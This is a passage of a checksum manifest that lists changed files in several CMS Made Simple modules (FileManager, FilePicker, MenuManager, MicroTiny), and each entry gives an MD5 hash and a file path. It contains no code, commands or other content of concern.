CHANGED :: 57ca1a2085d82f0574e3ef740b9a5ead :: \modules\FileManager\js\jrac\images\loading.gif
CHANGED :: f417d15fb2e32a601ce6b866da9ef880 :: \modules\FileManager\js\jrac\images\viewport_background.gif
CHANGED :: 6d8eed59110cc847fcbac38f9cc948e7 :: \modules\FileManager\js\jrac\jquery.jrac.js
CHANGED :: c3ba9da55894be37f5a3d4a4f2333f01 :: \modules\FileManager\js\jrac\style.jrac.css
CHANGED :: 6a18edab22f659bac44d24cbd273c98d :: \modules\FileManager\lang\en_US.php
CHANGED :: 56ae77850b464e33d77a3d05f7787909 :: \modules\FileManager\lang\ext\ar_AR.php
CHANGED :: b3984424f72c00e15b41c2eed031d878 :: \modules\FileManager\lang\ext\ca_ES.php
CHANGED :: eda3175260d265fb9a47147538e3d076 :: \modules\FileManager\lang\ext\cs_CZ.php
CHANGED :: 1cf5863d40942deaf88eb7a812d8d1bd :: \modules\FileManager\lang\ext\da_DK.php
CHANGED :: 7eb787c422b7977faf0fd3bf22999f80 :: \modules\FileManager\lang\ext\de_DE.php
CHANGED :: 25952a2e853411b81824d49fdb49febd :: \modules\FileManager\lang\ext\en_CY.php
CHANGED :: 39abc6d3d53a6e9d5ac7300d53568dc6 :: \modules\FileManager\lang\ext\es_ES.php
CHANGED :: f018a055f8c8f30668f4a45d8ecab201 :: \modules\FileManager\lang\ext\et_EE.php
CHANGED :: c7466eadbf8070eddf2c81a3d6b740d9 :: \modules\FileManager\lang\ext\fa_FA.php
CHANGED :: c7466eadbf8070eddf2c81a3d6b740d9 :: \modules\FileManager\lang\ext\fa_IR.php
CHANGED :: 296ba0df5deba3f7ba1dd7133dc449a4 :: \modules\FileManager\lang\ext\fi_FI.php
CHANGED :: 10ba73de6f387c74d9930ac90da995c6 :: \modules\FileManager\lang\ext\fr_FR.php
CHANGED :: 75ff1d2111dd42b7bb0a3f567fdb07b8 :: \modules\FileManager\lang\ext\hr_HR.php
CHANGED :: 801e23148b3df669f5815248a033faef :: \modules\FileManager\lang\ext\hu_HU.php
CHANGED :: 0b49fd7c449685a71afb29346c5000d8 :: \modules\FileManager\lang\ext\it_IT.php
CHANGED :: 06d03b3e9af40a1de9931dd34f47ccc2 :: \modules\FileManager\lang\ext\iw_IL.php
CHANGED :: 3b2c2bd0a8944d632ea35af5c2d33456 :: \modules\FileManager\lang\ext\ja_JP.php
CHANGED :: 627956eb179ecda605074a245378ad83 :: \modules\FileManager\lang\ext\lt_LT.php
CHANGED :: deb1551f0f903c2101624498f4521389 :: \modules\FileManager\lang\ext\nb_NO.php
CHANGED :: a7648c8127034c7f80e16201de367536 :: \modules\FileManager\lang\ext\nl_NL.php
CHANGED :: bb5ceda86140242b40b811a87de0d284 :: \modules\FileManager\lang\ext\pl_PL.php
CHANGED :: f0c7bf337f870e37a8e6ec830686a27b :: \modules\FileManager\lang\ext\pt_BR.php
CHANGED :: d7b6ef5b8607ee19a729dba899e94a4f :: \modules\FileManager\lang\ext\pt_PT.php
CHANGED :: 8b521feba36b364c9bbc5c703b2e6d17 :: \modules\FileManager\lang\ext\ro_RO.php
CHANGED :: 721cf1777e4afaa0d55679b1b219d1f7 :: \modules\FileManager\lang\ext\ru_RU.php
CHANGED :: e7f9dac8465d9fa96a07d9a7f69031d0 :: \modules\FileManager\lang\ext\sk_SK.php
CHANGED :: a924c4bde53772f16a517642f23ce5eb :: \modules\FileManager\lang\ext\sl_SI.php
CHANGED :: a115f47a4c45b5d63bf7bb2441a077f6 :: \modules\FileManager\lang\ext\sr_YU.php
CHANGED :: 2ba43148e091f000557d4c0e0854f7b4 :: \modules\FileManager\lang\ext\sv_SE.php
CHANGED :: f4ec5c8695e8a751e968e3d612f0dc68 :: \modules\FileManager\lang\ext\tr_TR.php
CHANGED :: ec2c59267da8f32964372612f909fc5a :: \modules\FileManager\lang\ext\uk_UA.php
CHANGED :: d662249183ade2eec8b33116218b2b7b :: \modules\FileManager\lang\ext\zh_TW.php
CHANGED :: 3a8a0b81e062431fc314ec4581b5ed8c :: \modules\FileManager\lib\class.filemanager_utils.php
CHANGED :: 6420294a9cca26d0a9ff03f6fa147b78 :: \modules\FileManager\lib\class.imageEditor.php
CHANGED :: 55980c8977fdbe2299f321757afc73f1 :: \modules\FileManager\lib\class.jquery_upload_handler.php
CHANGED :: d0c0b6db745a0f017d729583a63981cd :: \modules\FileManager\method.install.php
CHANGED :: 6569ec1314522b589d5cf2cb1e3dc94e :: \modules\FileManager\method.uninstall.php
CHANGED :: b0831dbf7db77e2a1a8b6e54ee4faeb2 :: \modules\FileManager\method.upgrade.php
CHANGED :: 876b3de4ce9c0e94c36db49d5603fcfb :: \modules\FileManager\templates\changelog.tpl
CHANGED :: 3c90d39ff33f6b78193eb602485084c8 :: \modules\FileManager\templates\chmoddir.tpl
CHANGED :: 33d12585750b7b4ad6112ec3ac4db318 :: \modules\FileManager\templates\chmodfile.tpl
CHANGED :: 7180c9209d54f8d5d25682bec6eb60cf :: \modules\FileManager\templates\chmodfilewin.tpl
CHANGED :: fe21989f8298232aa45e1f32ac0b890e :: \modules\FileManager\templates\confirmdeltree.tpl
CHANGED :: 009334740ef48f7cfbdaf17098bb59ba :: \modules\FileManager\templates\copy.tpl
CHANGED :: f566c17d3b9992d7aff31a94253df375 :: \modules\FileManager\templates\delete.tpl
CHANGED :: 6284117b96b431c7570ea7c8efb21970 :: \modules\FileManager\templates\dropzone.tpl
CHANGED :: 8d1841657124c65964d405912ccc144b :: \modules\FileManager\templates\filemanager.tpl
CHANGED :: 359fc088133b1a1a3af495a3fd3a539d :: \modules\FileManager\templates\filepicker.tpl
CHANGED :: c39868da24e05aa5ff8ad375ac850c6c :: \modules\FileManager\templates\filerotate.tpl
CHANGED :: 1906edbec93fe1f11796b4ba759bb68c :: \modules\FileManager\templates\filethumbnail.tpl
CHANGED :: ce54a7e39762df112ded9d5adb8ae1ad :: \modules\FileManager\templates\fmpath.tpl
CHANGED :: 411e0a77d597c4df46dff6944a94df0d :: \modules\FileManager\templates\modetable.tpl
CHANGED :: e992c936e95bc05bdcc5a372d70e2e5c :: \modules\FileManager\templates\move.tpl
CHANGED :: 9c5de53d2544b540b76203f95e9d786a :: \modules\FileManager\templates\newdir.tpl
CHANGED :: ae7578493636332473830b630ffc6861 :: \modules\FileManager\templates\pie.tpl
CHANGED :: 3469190d0bf40c686ac8123d5b52fe62 :: \modules\FileManager\templates\renamefile.tpl
CHANGED :: e3e51b47fa6846916b4245adcc1d5a62 :: \modules\FileManager\templates\settings.tpl
CHANGED :: bd7569cbd70fda7778bb6880f6694aa1 :: \modules\FileManager\templates\uploadview.tpl
CHANGED :: c352cbd6ee2e6834d4c51cd8d9ed2759 :: \modules\FileManager\untgz.php
CHANGED :: 96c0f31cb45a3dbe6e779f1a54f3a6fc :: \modules\FileManager\uploadview.php
CHANGED :: 37380d7804ece0d61cb85b1d4f2c0cb5 :: \modules\FilePicker\action.ajax_cmd.php
CHANGED :: df9b9e2748c5185e25a8b0efca400c80 :: \modules\FilePicker\action.defaultadmin.php
CHANGED :: ab684d48029bd64504ae8311b25fd1b7 :: \modules\FilePicker\action.delete_profile.php
CHANGED :: 6ca1f90eb2a2205721df5e4cdc4198c5 :: \modules\FilePicker\action.edit_profile.php
CHANGED :: eea7ee0f52c78c7f4f22915265e12d9c :: \modules\FilePicker\action.filepicker.php
CHANGED :: af3ee9347be89d68304c18234aa28660 :: \modules\FilePicker\action.select.php
CHANGED :: 571255d3496ae3e1db1a307ad497a10a :: \modules\FilePicker\action.setdflt_profile.php
CHANGED :: a4e98e5fe5cd1fde2030dad5a3778b06 :: \modules\FilePicker\action.upload.php
CHANGED :: 4366afa6fee7c41e35e1b4e496bdce95 :: \modules\FilePicker\FilePicker.module.php
CHANGED :: 6f27917c558c5d3e2f7b8cb8293bfbd4 :: \modules\FilePicker\js\ext\jquery.fileupload-audio.js
CHANGED :: 228ef1e6e7847432f339f5a48fed98cf :: \modules\FilePicker\js\ext\jquery.fileupload-image.js
CHANGED :: 65894863d98e39a43966198e22d4976d :: \modules\FilePicker\js\ext\jquery.fileupload-jquery-ui.js
CHANGED :: c92f97e488bb0f380961f4beb88cbd1c :: \modules\FilePicker\js\ext\jquery.fileupload-process.js
CHANGED :: 8ec49f00acfb70790fd3d2f8dc0d80d8 :: \modules\FilePicker\js\ext\jquery.fileupload-ui.js
CHANGED :: b4f0da4b2581a880d389fc9832540c81 :: \modules\FilePicker\js\ext\jquery.fileupload-validate.js
CHANGED :: 1aa763ed4027ae2831b8ebad27f7bf23 :: \modules\FilePicker\js\ext\jquery.fileupload-video.js
CHANGED :: 2340c47a593a072a518787317fc0b05b :: \modules\FilePicker\js\ext\jquery.fileupload.js
CHANGED :: e52b800058f277ee05d3389db247cd25 :: \modules\FilePicker\lang\en_US.php
CHANGED :: 36979a3ba2e604384b5286b01aee388f :: \modules\FilePicker\lang\ext\da_DK.php
CHANGED :: b533dfd432dd3ccc5d184f111ca10203 :: \modules\FilePicker\lang\ext\fr_FR.php
CHANGED :: 741aedd683aeeb0302994d1373d65757 :: \modules\FilePicker\lang\ext\it_IT.php
CHANGED :: 6ddbf13df1c08d7d67d31650e1ba80bf :: \modules\FilePicker\lang\ext\nb_NO.php
CHANGED :: 3cf5864b859ccebbf95b063a14a5cfe0 :: \modules\FilePicker\lang\ext\ru_RU.php
CHANGED :: dd19898f310470a462cb757a50f49d4d :: \modules\FilePicker\lang\ext\tr_TR.php
CHANGED :: f49e0f1a1a07319bfb8703406c80c7b7 :: \modules\FilePicker\lang\ext\uk_UA.php
CHANGED :: 09d8cd2dbf11a3fa20cdee90187688d2 :: \modules\FilePicker\lib\class.jquery_upload_handler.php
CHANGED :: 6dfc1f55a6345128301ba00fa92e86fc :: \modules\FilePicker\lib\class.PathAssistant.php
CHANGED :: 2ab43920305968f49a0a96853766270b :: \modules\FilePicker\lib\class.Profile.php
CHANGED :: 172e98126e30640abd8a27d9e7238cd4 :: \modules\FilePicker\lib\class.ProfileDAO.php
CHANGED :: 5c2ebfe1f834043aa2c0aaeec3c7b400 :: \modules\FilePicker\lib\class.TemporaryInstanceStorage.php
CHANGED :: 4e7b7203e641ae37bb1323dc3ccb71bf :: \modules\FilePicker\lib\class.TemporaryProfileStorage.php
CHANGED :: 6fe228965aeec918d032f9758e3c1970 :: \modules\FilePicker\lib\class.UploadHandler.php
CHANGED :: ce5afb684cad4e8b4094c5baba70008e :: \modules\FilePicker\lib\css\filepicker.css
CHANGED :: 0a89d10dfcf2bccf25925eaea3a2d3a5 :: \modules\FilePicker\lib\css\filepicker.min.css
CHANGED :: 46fd128bd82f36a5d664cd8d684c7493 :: \modules\FilePicker\lib\fonts\cmsms-filepicker.eot
CHANGED :: 41404b8d40df9ad1ae5df5a4d9b04d16 :: \modules\FilePicker\lib\fonts\cmsms-filepicker.svg
CHANGED :: 6e582127a2968ef92020fcc1446e08bc :: \modules\FilePicker\lib\fonts\cmsms-filepicker.ttf
CHANGED :: ed3d3307cbd9084448c40e70ae3bbe41 :: \modules\FilePicker\lib\fonts\cmsms-filepicker.woff
CHANGED :: 8ef6940626da4b5977ffa5483b0b2558 :: \modules\FilePicker\lib\images\cmsmslink.gif
CHANGED :: 225471a77db57ec491fb3112a7f6cfb2 :: \modules\FilePicker\lib\images\dir.gif
CHANGED :: 21395c35c65c2666c3efd6ec05654246 :: \modules\FilePicker\lib\js\cmsms_filebrowser\filebrowser.js
CHANGED :: 07d4639a7d81f18c264e595c8ba822c0 :: \modules\FilePicker\method.install.php
CHANGED :: f2f1ef713276f6f30ac680ad9b3ee53b :: \modules\FilePicker\method.uninstall.php
CHANGED :: a595cd23497acab8c61b0b8c11e91802 :: \modules\FilePicker\templates\contentblock.tpl
CHANGED :: ffc956d3c023373865ba12c047d15337 :: \modules\FilePicker\templates\defaultadmin.tpl
CHANGED :: b450a4127e8650a62dcf825864be9e52 :: \modules\FilePicker\templates\edit_profile.tpl
CHANGED :: 0f34aecf89a0cc1daf5daae8c5cb05a9 :: \modules\FilePicker\templates\filepicker.tpl
CHANGED :: 5114b40fa2cbb20d1934a9f9f20e295b :: \modules\MenuManager\action.breadcrumbs.php
CHANGED :: d5e6d1f58a8d1d15f1652c08d534c979 :: \modules\MenuManager\action.default.php
CHANGED :: 6e8a2a74e8d5b457449d1bd8655fe366 :: \modules\MenuManager\action.items.php
CHANGED :: 01f32cabd4ae5b4ab5599aeb6806815a :: \modules\MenuManager\changelog.inc
CHANGED :: 42de5bb878e05e13f7cd671cf098f583 :: \modules\MenuManager\CSSMenu.js
CHANGED :: f431f4e7bbc5d9e9022f69f25b828b65 :: \modules\MenuManager\images\arrow.gif
CHANGED :: 446974e0a6e4d953817692bd407e1313 :: \modules\MenuManager\images\icon.gif
CHANGED :: fc56ddb2bdda1f420478fee93a32569e :: \modules\MenuManager\lang\en_US.php
CHANGED :: 2772cdd710883f684b9587d5b73a6db9 :: \modules\MenuManager\lang\ext\ar_AR.php
CHANGED :: 172fef8add1afd77f072f29ee6b38cb3 :: \modules\MenuManager\lang\ext\ca_ES.php
CHANGED :: 03e62514c224e925971a29cb34aa10e3 :: \modules\MenuManager\lang\ext\cs_CZ.php
CHANGED :: 8de8fa7be9b13ece8f14bfd3b17fd5bf :: \modules\MenuManager\lang\ext\da_DK.php
CHANGED :: 5f6cf02ece2670cc6328bd9c2fb9908f :: \modules\MenuManager\lang\ext\de_DE.php
CHANGED :: 4b80d4026c14bb63ba23ba25c89f3cdd :: \modules\MenuManager\lang\ext\el_GR.php
CHANGED :: bc674f6be6fea029d79ab9f823986b4f :: \modules\MenuManager\lang\ext\en_CY.php
CHANGED :: 2c62d777aabae003ea08ff41cd94d8f8 :: \modules\MenuManager\lang\ext\es_ES.php
CHANGED :: d9924a765f95940a6ab72b1cdab119b6 :: \modules\MenuManager\lang\ext\et_EE.php
CHANGED :: 3c0a68d0ac7a147060162c49eb173e0a :: \modules\MenuManager\lang\ext\fa_FA.php
CHANGED :: 3c0a68d0ac7a147060162c49eb173e0a :: \modules\MenuManager\lang\ext\fa_IR.php
CHANGED :: fe8f269e36c6472f471e8cb74c3e9ea0 :: \modules\MenuManager\lang\ext\fi_FI.php
CHANGED :: 0d6ece2ec25c8e261e82e82b77e8c3ed :: \modules\MenuManager\lang\ext\fr_FR.php
CHANGED :: b91537478e0896ce9c4e85b6a3b1c7ff :: \modules\MenuManager\lang\ext\hr_HR.php
CHANGED :: afa2c227f270ddb63300e107d3514595 :: \modules\MenuManager\lang\ext\hu_HU.php
CHANGED :: 7bd02be3f935ea2e8ab7ea452f1378aa :: \modules\MenuManager\lang\ext\it_IT.php
CHANGED :: 8d890c30b12d3182da1c1cbf5dcf6bca :: \modules\MenuManager\lang\ext\iw_IL.php
CHANGED :: 60f9a7fce02a85dfed5bfe76e9e5f9c7 :: \modules\MenuManager\lang\ext\ja_JP.php
CHANGED :: e5e6df0b0952f6158b4d57fe9a45d538 :: \modules\MenuManager\lang\ext\lt_LT.php
CHANGED :: 358a8d492cbb4c4814bc23d857f510d3 :: \modules\MenuManager\lang\ext\nb_NO.php
CHANGED :: d7de11a0891d43afebf365a48412468b :: \modules\MenuManager\lang\ext\nl_NL.php
CHANGED :: eb49c9d392a597a66a18a083237936bf :: \modules\MenuManager\lang\ext\pl_PL.php
CHANGED :: aabdb7999656e0a473c80e7cf157a531 :: \modules\MenuManager\lang\ext\pt_BR.php
CHANGED :: 3a9cf1aacab15c620dc9a9961e7f5db3 :: \modules\MenuManager\lang\ext\pt_PT.php
CHANGED :: 0e8b3d229d121622bb2eaefba0af4f45 :: \modules\MenuManager\lang\ext\rm_CH.php
CHANGED :: 231e3c5aae2b6ce10a98fa9799ff9223 :: \modules\MenuManager\lang\ext\ro_RO.php
CHANGED :: 756575042c1cd778e940340ea741b419 :: \modules\MenuManager\lang\ext\ru_RU.php
CHANGED :: 215fbc68f7f813c6ccc1db69149ff42d :: \modules\MenuManager\lang\ext\sk_SK.php
CHANGED :: 7362765f11aa0b63f1168b0041191351 :: \modules\MenuManager\lang\ext\sl_SI.php
CHANGED :: 280f5b228806e0577329751fe26607f5 :: \modules\MenuManager\lang\ext\sr_YU.php
CHANGED :: ec3e58c00b7d8f1c57e94892b273d598 :: \modules\MenuManager\lang\ext\sv_SE.php
CHANGED :: 6e43ef330d3610921fb93a91e99b67f7 :: \modules\MenuManager\lang\ext\tr_TR.php
CHANGED :: 33bb15ba8a7e48806af58cc77d493906 :: \modules\MenuManager\lang\ext\zh_TW.php
CHANGED :: beda145249d4ad77e44d6b7baab9d957 :: \modules\MenuManager\MenuManager.module.php
CHANGED :: b1acf21d685b8197111e13c32dc2e3a1 :: \modules\MenuManager\method.install.php
CHANGED :: 203b39fb203c1ca3a1d22ccebfc67551 :: \modules\MenuManager\method.uninstall.php
CHANGED :: bae758be9354062096adc1555a28e914 :: \modules\MenuManager\method.upgrade.php
CHANGED :: 0f1792603f17adbce23e62fba3d8d599 :: \modules\MenuManager\templates\accessible_cssmenu.tpl
CHANGED :: 700191753a7ecbdcff876fbe50485e54 :: \modules\MenuManager\templates\accessible_simple_navigation.tpl
CHANGED :: 7230cf3ed38961925e45c2fbdc14864c :: \modules\MenuManager\templates\breadcrumbs.tpl
CHANGED :: 58bb51accfe0bf11a68e92b29a90d2ad :: \modules\MenuManager\templates\cssmenu.tpl
CHANGED :: 26527ab05f6f6e4937a4aa744bfadce0 :: \modules\MenuManager\templates\cssmenu_ulshadow.tpl
CHANGED :: 9b6a2c19f497f9908d5042776cce2528 :: \modules\MenuManager\templates\dbtpllist.tpl
CHANGED :: 6576c0c4adbb79014328f6783639778e :: \modules\MenuManager\templates\edittemplate.tpl
CHANGED :: 5430fb5de31a58d14f782795442812fe :: \modules\MenuManager\templates\filetpllist.tpl
CHANGED :: 403ded08fa80e810b05022d426deb0cc :: \modules\MenuManager\templates\importtemplate.tpl
CHANGED :: 900497f76843e49ed3a03e58a58b5b62 :: \modules\MenuManager\templates\minimal_menu.tpl
CHANGED :: 4ad796356345d19141716d9aad8efe66 :: \modules\MenuManager\templates\Simplex_Navigation.tpl
CHANGED :: 912e41993d605d9935000bb170079e1b :: \modules\MenuManager\templates\simple_navigation.tpl
CHANGED :: 2c030267eea7af05a27ac7f351365d65 :: \modules\MicroTiny\action.admin_editprofile.php
CHANGED :: c99efd309b5aec682822d2c34aeba7b2 :: \modules\MicroTiny\action.ajax_getpages.php
CHANGED :: 6d408603adf67bb71681babdfa986956 :: \modules\MicroTiny\action.default.php
CHANGED :: cf1687136c2077fafaaa3603426b83be :: \modules\MicroTiny\action.defaultadmin.php
CHANGED :: 28df0f6a74423338ae9394bdc2458af3 :: \modules\MicroTiny\action.filepicker.php
CHANGED :: 60410d6039c9433bea72620c71972f52 :: \modules\MicroTiny\action.savesettings.php
CHANGED :: 2127e224b416298f2213813fb86e26ac :: \modules\MicroTiny\function.admin_example.php
CHANGED :: 32331b15156f4d8231d0468ac8020205 :: \modules\MicroTiny\function.admin_settings.php
CHANGED :: 9b6f3d793b977ab14c002063ac2c3063 :: \modules\MicroTiny\images\icon.png
CHANGED :: e05f0dcb77d76dcc09fda4b3d697d5ba :: \modules\MicroTiny\lang\en_US.php
CHANGED :: 06cc998c84d0c310c24b129d4c9d64a8 :: \modules\MicroTiny\lang\ext\ar_AR.php
CHANGED :: a293e3da25ad5d2d6deaff8a7685750f :: \modules\MicroTiny\lang\ext\cs_CZ.php
CHANGED :: e8377b70f9944a7a1d33c8d02b447e6e :: \modules\MicroTiny\lang\ext\da_DK.php
CHANGED :: 29012414f473a0f40f03ec631d938e43 :: \modules\MicroTiny\lang\ext\de_DE.php
CHANGED :: 40e09f9b222d321a1e1a40a56eea725d :: \modules\MicroTiny\lang\ext\en_CY.php
CHANGED :: 93a8143dd1f400fdf0ecf708f275c158 :: \modules\MicroTiny\lang\ext\es_ES.php
CHANGED :: 3ba17c7991a754a0fbfb1d9b2b99e905 :: \modules\MicroTiny\lang\ext\et_EE.php
CHANGED :: b1b92ed720c3c49af0f8cd7161f4ab96 :: \modules\MicroTiny\lang\ext\fa_FA.php
CHANGED :: b1b92ed720c3c49af0f8cd7161f4ab96 :: \modules\MicroTiny\lang\ext\fa_IR.php
CHANGED :: c0bbf98e24501b10bfd570c5794822d0 :: \modules\MicroTiny\lang\ext\fi_FI.php
CHANGED :: da77548ea9b404c913ba8efbe563f5f3 :: \modules\MicroTiny\lang\ext\fr_FR.php
CHANGED :: 2103e53f75acc5abf60d7cf89db90e7f :: \modules\MicroTiny\lang\ext\hr_HR.php
CHANGED :: db41c478e5cc441a5df2c08c40aade37 :: \modules\MicroTiny\lang\ext\hu_HU.php
CHANGED :: 136bcb80adf97660d10340c78c6b3fad :: \modules\MicroTiny\lang\ext\it_IT.php
CHANGED :: 13ec84178f684fd2b12b2ec7606a054b :: \modules\MicroTiny\lang\ext\iw_IL.php
CHANGED :: 4bcc79854c3cfeb8150980ae4782ac0e :: \modules\MicroTiny\lang\ext\ja_JP.php
CHANGED :: c7069e2dd637eb729e38ab99199e1654 :: \modules\MicroTiny\lang\ext\lt_LT.php
CHANGED :: 2e516e6151258e491c9c3a714611eef7 :: \modules\MicroTiny\lang\ext\nb_NO.php
CHANGED :: e92c6f3a8bccf000856c0d94e245048e :: \modules\MicroTiny\lang\ext\nl_NL.php
CHANGED :: 113cccde03b6aa26500b7c8f22fd8f72 :: \modules\MicroTiny\lang\ext\pl_PL.php
CHANGED :: 7403c3bc1aa1f772e37f80d17d79674d :: \modules\MicroTiny\lang\ext\pt_PT.php
CHANGED :: 809d2f94cc2c40843e52916cfcbc083c :: \modules\MicroTiny\lang\ext\ro_RO.php
CHANGED :: c66cced7c30ec864541550bd40115484 :: \modules\MicroTiny\lang\ext\ru_RU.php
CHANGED :: c2c1b6aea15e1f017950577e1ca0525a :: \modules\MicroTiny\lang\ext\sk_SK.php
CHANGED :: 590aff2caa34bc968f00d054161e77a9 :: \modules\MicroTiny\lang\ext\sl_SI.php
CHANGED :: 6db8bb6d1bd6a3149b525fee8a256b58 :: \modules\MicroTiny\lang\ext\sr_YU.php
CHANGED :: 7a9d8dad6e17181defff38b64a43757d :: \modules\MicroTiny\lang\ext\sv_SE.php
CHANGED :: d781800c9014c01a3359b0b0c84de629 :: \modules\MicroTiny\lang\ext\tr_TR.php
CHANGED :: 91a329dd6d97c3f3f4e948a65fb19689 :: \modules\MicroTiny\lang\ext\vi_VN.php
CHANGED :: 6a5fcfc9a3de513a00d5e396a6a59736 :: \modules\MicroTiny\lang\ext\zh_TW.php
CHANGED :: c48ee5bcc3a15b2de9b64971dbc799b1 :: \modules\MicroTiny\lib\class.microtiny_profile.php
CHANGED :: fe5cfb2aca4da3ecc4893ccb7eddc576 :: \modules\MicroTiny\lib\class.microtiny_utils.php
CHANGED :: f427fa3178da019bdbbba90fea0265f9 :: \modules\MicroTiny\lib\css\filepicker.css
CHANGED :: 5bce07b13daa8339b33e2c803c7b6f03 :: \modules\MicroTiny\lib\css\filepicker.min.css
CHANGED :: 328a8ec09b52f838bb0fcc39a111b02d :: \modules\MicroTiny\lib\fonts\cmsms-filepicker.eot
CHANGED :: a5aca27afe0e06d4a6554d5c213857fc :: \modules\MicroTiny\lib\fonts\cmsms-filepicker.svg
CHANGED :: 73d845f300f8b6bcbfcb51664de69a2f :: \modules\MicroTiny\lib\fonts\cmsms-filepicker.ttf
CHANGED :: fbb37304128e1a92b1ad0af0986dab96 :: \modules\MicroTiny\lib\fonts\cmsms-filepicker.woff
CHANGED :: 8ef6940626da4b5977ffa5483b0b2558 :: \modules\MicroTiny\lib\images\cmsmslink.gif
CHANGED :: 225471a77db57ec491fb3112a7f6cfb2 :: \modules\MicroTiny\lib\images\dir.gif
CHANGED :: 04f58536bee95751fcae77f6832b7ae0 :: \modules\MicroTiny\lib\images\mailto.gif
CHANGED :: 7d6fd91e8b6b29fb0ddf7bb0189bc8d0 :: \modules\MicroTiny\lib\js\tinymce\langs\af_ZA.js
CHANGED :: cf104dfa71a982da0cfb146afea07d92 :: \modules\MicroTiny\lib\js\tinymce\langs\ar.js
CHANGED :: 887c4f5dde886dda1372be40bdbec825 :: \modules\MicroTiny\lib\js\tinymce\langs\az.js
CHANGED :: 7f084cbc5084dfb29fd1cda5ca13a109 :: \modules\MicroTiny\lib\js\tinymce\langs\be.js
CHANGED :: 78cdc17a7590dfb7cad448ad872e5397 :: \modules\MicroTiny\lib\js\tinymce\langs\bg_BG.js
CHANGED :: 7ab3a3559ddb9534c2659ca4a0f30264 :: \modules\MicroTiny\lib\js\tinymce\langs\ca.js
CHANGED :: 6e8ce66180fd4de34d66901d367390e3 :: \modules\MicroTiny\lib\js\tinymce\langs\cs.js
CHANGED :: 2a3cbf15a974aac2d8fdad3965f0643b :: \modules\MicroTiny\lib\js\tinymce\langs\cs_CZ.js
CHANGED :: 5470471e6d7c7d96309d80cb4acd13f8 :: \modules\MicroTiny\lib\js\tinymce\langs\cy.js
CHANGED :: e60d1e27d974bbd6cbd892c8620a0be2 :: \modules\MicroTiny\lib\js\tinymce\langs\da.js
CHANGED :: cb20c75d15fc8eb3461f7ae533e8e679 :: \modules\MicroTiny\lib\js\tinymce\langs\de.js
CHANGED :: e4e9de396bf32cfd1b3cbb7ed18c782a :: \modules\MicroTiny\lib\js\tinymce\langs\de_AT.js
CHANGED :: 786dc9a6dc212cccfd183d245620bcd8 :: \modules\MicroTiny\lib\js\tinymce\langs\dv.js
CHANGED :: 6f2edcc18215e8fb271b8c4bc0875c4f :: \modules\MicroTiny\lib\js\tinymce\langs\el.js
CHANGED :: 5638eecb3cb98b7884d2e4b1f6a34dfd :: \modules\MicroTiny\lib\js\tinymce\langs\en_CA.js
CHANGED :: 80a29f6251a39d6f0af75df827633a13 :: \modules\MicroTiny\lib\js\tinymce\langs\en_GB.js
CHANGED :: 957851defb7f96c01ddc9d555cadad83 :: \modules\MicroTiny\lib\js\tinymce\langs\eo.js
CHANGED :: 16224030bea49f7616b7086096f571b4 :: \modules\MicroTiny\lib\js\tinymce\langs\es.js
CHANGED :: b9809b10bb5e752be07fc9613477f168 :: \modules\MicroTiny\lib\js\tinymce\langs\es_MX.js
CHANGED :: 85af19ec5217bb05660f72b2e972cb8e :: \modules\MicroTiny\lib\js\tinymce\langs\et.js
CHANGED :: 787b9cedfebfa647f6381e35bb991c5a :: \modules\MicroTiny\lib\js\tinymce\langs\fa_IR.js
CHANGED :: 5226c4f8d61b6cde324d47286e27b56f :: \modules\MicroTiny\lib\js\tinymce\langs\fi.js
CHANGED :: 9806e6f77eca03c98f197878189e1a8d :: \modules\MicroTiny\lib\js\tinymce\langs\fo.js
CHANGED :: 381bab1a4ee4a7ec1f7f0087b3b3f58c :: \modules\MicroTiny\lib\js\tinymce\langs\fr_CH.js
CHANGED :: 012df6743c3a92a614da7fe397c8ce0b :: \modules\MicroTiny\lib\js\tinymce\langs\fr_FR.js
CHANGED :: 44e27a1e07a8a0189da58537a7a76cf9 :: \modules\MicroTiny\lib\js\tinymce\langs\ga.js
CHANGED :: cf5f46b546b7bd63ef37f8db31516e6b :: \modules\MicroTiny\lib\js\tinymce\langs\gd.js
CHANGED :: 4081313f8a17fa27d77f03915de93ab9 :: \modules\MicroTiny\lib\js\tinymce\langs\he_IL.js
CHANGED :: db4969bf2bc0347da25e5d027d27e122 :: \modules\MicroTiny\lib\js\tinymce\langs\hi_IN.js
CHANGED :: 1999f5abedb0516317e164429b3e2d2b :: \modules\MicroTiny\lib\js\tinymce\langs\hr.js
CHANGED :: eba124fa7b31f1b5636bb2e3785682bb :: \modules\MicroTiny\lib\js\tinymce\langs\hu_HU.js
CHANGED :: 2a85b5d238595fc3a100276c8f9ba7fb :: \modules\MicroTiny\lib\js\tinymce\langs\hy.js
CHANGED :: 333017082e0002999100c5150dfbd7d2 :: \modules\MicroTiny\lib\js\tinymce\langs\id.js
CHANGED :: 51c2c22110fa6bea65c9e3d5df12e974 :: \modules\MicroTiny\lib\js\tinymce\langs\is_IS.js
CHANGED :: 8ee9d3c0ca1c4dcba0b7fb53366bfad7 :: \modules\MicroTiny\lib\js\tinymce\langs\it.js
CHANGED :: 43ff4b17e9d39a5a53b70424530c1e91 :: \modules\MicroTiny\lib\js\tinymce\langs\ja.js
CHANGED :: 4bf62f435382235da0a330c78789f34b :: \modules\MicroTiny\lib\js\tinymce\langs\kab.js
CHANGED :: da2bc7bb054ce1862b68010fb1a3d331 :: \modules\MicroTiny\lib\js\tinymce\langs\ka_GE.js
CHANGED :: 25260b26eeb9e11c5690ac3d046bbfd9 :: \modules\MicroTiny\lib\js\tinymce\langs\kk.js
CHANGED :: 98790418ee09d0e7f9427f66d7d774a1 :: \modules\MicroTiny\lib\js\tinymce\langs\km_KH.js
CHANGED :: 8532508e77fa39d82b9d5271670e2eba :: \modules\MicroTiny\lib\js\tinymce\langs\ko_KR.js
CHANGED :: 3662ecde53151115cf0309e930bd448a :: \modules\MicroTiny\lib\js\tinymce\langs\lt.js
CHANGED :: 4c05f120046fef83c0c3b0c3e1c09c58 :: \modules\MicroTiny\lib\js\tinymce\langs\lv.js
CHANGED :: 17f7b3d5a07202b3dbb6bc7bef236bf3 :: \modules\MicroTiny\lib\js\tinymce\langs\mk_MK.js
CHANGED :: 6d0e8881761e58378c2852abcc983e80 :: \modules\MicroTiny\lib\js\tinymce\langs\nb_NO.js
CHANGED :: f716db1fe176c2ddf1e2ecb33d1274d2 :: \modules\MicroTiny\lib\js\tinymce\langs\nl.js
CHANGED :: 37f5a33735424c00c8b408702b1bdb0a :: \modules\MicroTiny\lib\js\tinymce\langs\oc.js
CHANGED :: d200685888406dc0e23c33824fdf0a0c :: \modules\MicroTiny\lib\js\tinymce\langs\pl.js
